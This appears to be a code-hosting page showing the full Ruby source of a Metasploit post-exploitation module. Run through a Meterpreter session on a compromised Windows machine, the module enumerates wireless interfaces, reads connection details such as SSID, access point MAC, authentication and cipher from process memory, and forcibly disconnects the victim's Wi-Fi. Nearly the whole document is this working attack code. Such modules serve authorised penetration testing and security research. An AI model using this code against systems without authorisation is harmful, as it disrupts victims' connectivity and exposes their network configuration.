Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/wlan/wlan_disconnect.rb
19851 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Windows Disconnect Wireless Connection',
14
'Description' => %q{
15
This module disconnects the current wireless network connection
16
on the specified interface.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => ['theLightCosine'],
20
'Platform' => [ 'win' ],
21
'SessionTypes' => [ 'meterpreter' ],
22
'Compat' => {
23
'Meterpreter' => {
24
'Commands' => %w[
25
stdapi_railgun_api
26
stdapi_sys_process_attach
27
stdapi_sys_process_getpid
28
]
29
}
30
},
31
'Notes' => {
32
'Stability' => [CRASH_SERVICE_DOWN],
33
'SideEffects' => [],
34
'Reliability' => []
35
}
36
)
37
)
38
39
register_options([
40
OptInt.new('Interface', [true, 'The Index of the Interface to Disconnect. Leave at 0 if only one IF', 0])
41
])
42
end
43
44
def run
45
# Opens memory access into the host process
46
mypid = client.sys.process.getpid
47
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
48
@wlanapi = client.railgun.wlanapi
49
50
wlan_handle = open_handle
51
unless wlan_handle
52
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
53
print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')
54
return
55
end
56
wlan_iflist = enum_interfaces(wlan_handle)
57
if wlan_iflist[datastore['Interface']]
58
connect_info = query_current_connection(wlan_handle, wlan_iflist[datastore['Interface']]['guid'])
59
if connect_info
60
guid = guid_to_string(wlan_iflist[datastore['Interface']]['guid'])
61
wlan_connection = "Wireless LAN Active Connection:\n"
62
wlan_connection << "GUID: #{guid} \nDescription: #{wlan_iflist[datastore['Interface']]['description']} \nState: #{wlan_iflist[datastore['Interface']]['state']}\n"
63
wlan_connection << "Currently Connected to: \n"
64
wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"
65
wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"
66
wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"
67
wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"
68
wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"
69
wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"
70
wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"
71
print_status(wlan_connection)
72
73
print_status('Disconnecting...')
74
@wlanapi.WlanDisconnect(wlan_handle, wlan_iflist[datastore['Interface']]['guid'], nil)
75
sleep(10)
76
77
connected = query_current_connection(wlan_handle, wlan_iflist[datastore['Interface']]['guid'])
78
if connected
79
print_error('The Interface still appears to be connected.')
80
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
81
if closehandle['return'] == 0
82
print_status('WlanAPI Handle Closed Successfully')
83
else
84
print_error('There was an error closing the Handle')
85
end
86
return
87
else
88
print_good('The Interface has been disconnected successfully')
89
end
90
else
91
print_error('This Interface is not currently connected to a network.')
92
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
93
if closehandle['return'] == 0
94
print_status('WlanAPI Handle Closed Successfully')
95
else
96
print_error('There was an error closing the Handle')
97
end
98
return
99
end
100
else
101
print_error('The Supplied Interface Index is Invalid')
102
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
103
if closehandle['return'] == 0
104
print_status('WlanAPI Handle Closed Successfully')
105
else
106
print_error('There was an error closing the Handle')
107
end
108
return
109
end
110
111
# close the Wlan API Handle
112
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
113
if closehandle['return'] == 0
114
print_status('WlanAPI Handle Closed Successfully')
115
else
116
print_error('There was an error closing the Handle')
117
end
118
end
119
120
def open_handle
121
begin
122
wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)
123
rescue StandardError
124
return nil
125
end
126
return wlhandle['phClientHandle']
127
end
128
129
def query_current_connection(wlan_handle, guid)
130
connection = {}
131
conn_info = @wlanapi.WlanQueryInterface(wlan_handle, guid, 7, nil, 4, 4, nil)
132
133
# Grab the pointer to our data structure. We skip voer the Interface State since we already have it
134
# We interpret the connection mode used first
135
pointer = conn_info['ppData']
136
pointer = (pointer + 4)
137
mode = @host_process.memory.read(pointer, 4)
138
mode = mode.unpack('V')[0]
139
case mode
140
when 0
141
connection['mode'] = 'A profile is used to make the connection.'
142
when 1
143
connection['mode'] = 'A temporary profile is used to make the connection.'
144
when 2
145
connection['mode'] = 'Secure discovery is used to make the connection.'
146
when 3
147
connection['mode'] = 'Unsecure discovery is used to make the connection.'
148
when 4
149
connection['mode'] = 'connection initiated by wireless service automatically using a persistent profile.'
150
when 5
151
connection['mode'] = 'Invalid connection mode.'
152
else
153
connection['state'] = 'Unknown connection Mode.'
154
end
155
156
# Grab the wirelessprofile name used in the connection
157
pointer = (pointer + 4)
158
profile = @host_process.memory.read(pointer, 512)
159
connection['profile'] = profile.gsub(/\x00/, '')
160
161
# Check the size of the SSID value. If we get nothing back, the interface is not currently connected
162
# We return nil and deal with the results back in the calling function
163
pointer = (pointer + 512)
164
len_ssid = @host_process.memory.read(pointer, 4)
165
unless len_ssid.unpack('V')[0]
166
return nil
167
end
168
169
# Grabs the SSID of the BSS connected to
170
pointer = (pointer + 4)
171
ssid = @host_process.memory.read(pointer, 32)
172
connection['ssid'] = ssid.gsub(/\x00/, '')
173
174
# Grabs what type of a BSS this is and itnerpretes it into human readable
175
pointer = (pointer + 32)
176
bsstype = @host_process.memory.read(pointer, 4)
177
bsstype = bsstype.unpack('V')[0]
178
case bsstype
179
when 1
180
connection['type'] = 'Infrastructure'
181
when 2
182
connection['type'] = 'Independent'
183
when 3
184
connection['type'] = 'Any'
185
else
186
connection['type'] = 'Unknown BSS Type'
187
end
188
189
# Grabs the BSS MAC address
190
pointer = (pointer + 4)
191
bssid = @host_process.memory.read(pointer, 6)
192
bssid = bssid.unpack('H*')[0]
193
bssid.insert(2, ':')
194
bssid.insert(5, ':')
195
bssid.insert(8, ':')
196
bssid.insert(11, ':')
197
bssid.insert(14, ':')
198
connection['bssid'] = bssid
199
200
# Grabs the physical association type and interprets it into human readable
201
pointer = (pointer + 8)
202
phy_type = @host_process.memory.read(pointer, 4)
203
phy_type = phy_type.unpack('V')[0]
204
case phy_type
205
when 1
206
connection['physical'] = 'Frequency-hopping spread-spectrum (FHSS)'
207
when 2
208
connection['physical'] = 'Direct sequence spread spectrum (DSSS)'
209
when 3
210
connection['physical'] = 'Infrared (IR) baseband'
211
when 4
212
connection['physical'] = 'Orthogonal frequency division multiplexing (OFDM)'
213
when 5
214
connection['physical'] = 'High-rate DSSS (HRDSSS)'
215
when 6
216
connection['physical'] = 'Extended rate PHY type'
217
when 7
218
connection['physical'] = '802.11n PHY type'
219
else
220
connection['physical'] = 'Unknown Association Type'
221
end
222
223
# Grabs the signal strength value
224
pointer = (pointer + 8)
225
signal = @host_process.memory.read(pointer, 4)
226
connection['signal'] = signal.unpack('V')[0]
227
228
# Grabs the receive rate value
229
pointer = (pointer + 4)
230
rxrate = @host_process.memory.read(pointer, 4)
231
connection['rxrate'] = rxrate.unpack('V')[0]
232
233
# Grabs the transmit rate value
234
pointer = (pointer + 4)
235
txrate = @host_process.memory.read(pointer, 4)
236
connection['txrate'] = txrate.unpack('V')[0]
237
238
# Checks if security is enabled on this BSS
239
pointer = (pointer + 4)
240
security_enabled = @host_process.memory.read(pointer, 4)
241
if security_enabled.unpack('V')[0] == 1
242
connection['security'] = 'Yes'
243
else
244
connection['security'] = 'No'
245
end
246
247
# Checks of 802.1x Authentication is used
248
pointer = (pointer + 4)
249
onex = @host_process.memory.read(pointer, 4)
250
if onex.unpack('V')[0] == 1
251
connection['oneX'] = 'Yes'
252
else
253
connection['oneX'] = 'No'
254
end
255
256
# Determines wat Authentication Algorithm is being used
257
pointer = (pointer + 4)
258
algo = @host_process.memory.read(pointer, 4)
259
algo = algo.unpack('V')[0]
260
case algo
261
when 1
262
connection['auth'] = '802.11 Open'
263
when 2
264
connection['auth'] = '802.11 Shared'
265
when 3
266
connection['auth'] = 'WPA'
267
when 4
268
connection['auth'] = 'WPA-PSK'
269
when 5
270
connection['auth'] = 'WPA-None'
271
when 6
272
connection['auth'] = 'RSNA'
273
when 7
274
connection['auth'] = 'RSNA with PSK'
275
else
276
connection['auth'] = 'Unknown Algorithm'
277
end
278
279
# Determines what Cipher is being used
280
pointer = (pointer + 4)
281
cipher = @host_process.memory.read(pointer, 4)
282
cipher = cipher.unpack('V')[0]
283
case cipher
284
when 0
285
connection['cipher'] = 'None'
286
when 1
287
connection['cipher'] = 'WEP-40'
288
when 2
289
connection['cipher'] = 'TKIP'
290
when 4
291
connection['cipher'] = 'CCMP'
292
when 5
293
connection['cipher'] = 'WEP-104'
294
when 256
295
connection['cipher'] = 'Use Group Key'
296
when 257
297
connection['cipher'] = 'WEP'
298
else
299
connection['cipher'] = 'Unknown Cipher'
300
end
301
return connection
302
end
303
304
def enum_interfaces(wlan_handle)
305
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)
306
pointer = iflist['ppInterfaceList']
307
308
numifs = @host_process.memory.read(pointer, 4)
309
numifs = numifs.unpack('V')[0]
310
interfaces = []
311
312
# Set the pointer ahead to the first element in the array
313
pointer = (pointer + 8)
314
(1..numifs).each do |_i|
315
interface = {}
316
# Read the GUID (16 bytes)
317
interface['guid'] = @host_process.memory.read(pointer, 16)
318
pointer = (pointer + 16)
319
# Read the description(up to 512 bytes)
320
interface['description'] = @host_process.memory.read(pointer, 512)
321
pointer = (pointer + 512)
322
# Read the state of the interface (4 bytes)
323
state = @host_process.memory.read(pointer, 4)
324
pointer = (pointer + 4)
325
326
# Turn the state into human readable form
327
state = state.unpack('V')[0]
328
case state
329
when 0
330
interface['state'] = 'The interface is not ready to operate.'
331
when 1
332
interface['state'] = 'The interface is connected to a network.'
333
when 2
334
interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'
335
when 3
336
interface['state'] = 'The interface is disconnecting from the current network.'
337
when 4
338
interface['state'] = 'The interface is not connected to any network.'
339
when 5
340
interface['state'] = 'The interface is attempting to associate with a network.'
341
when 6
342
interface['state'] = 'Auto configuration is discovering the settings for the network.'
343
when 7
344
interface['state'] = 'The interface is in the process of authenticating.'
345
else
346
interface['state'] = 'Unknown State'
347
end
348
interfaces << interface
349
end
350
return interfaces
351
end
352
353
# Convert the GUID to human readable form
354
def guid_to_string(guid)
355
aguid = guid.unpack('H*')[0]
356
sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]
357
sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]
358
sguid << '-' + aguid[20, 12] + '}'
359
return sguid
360
end
361
end
362
363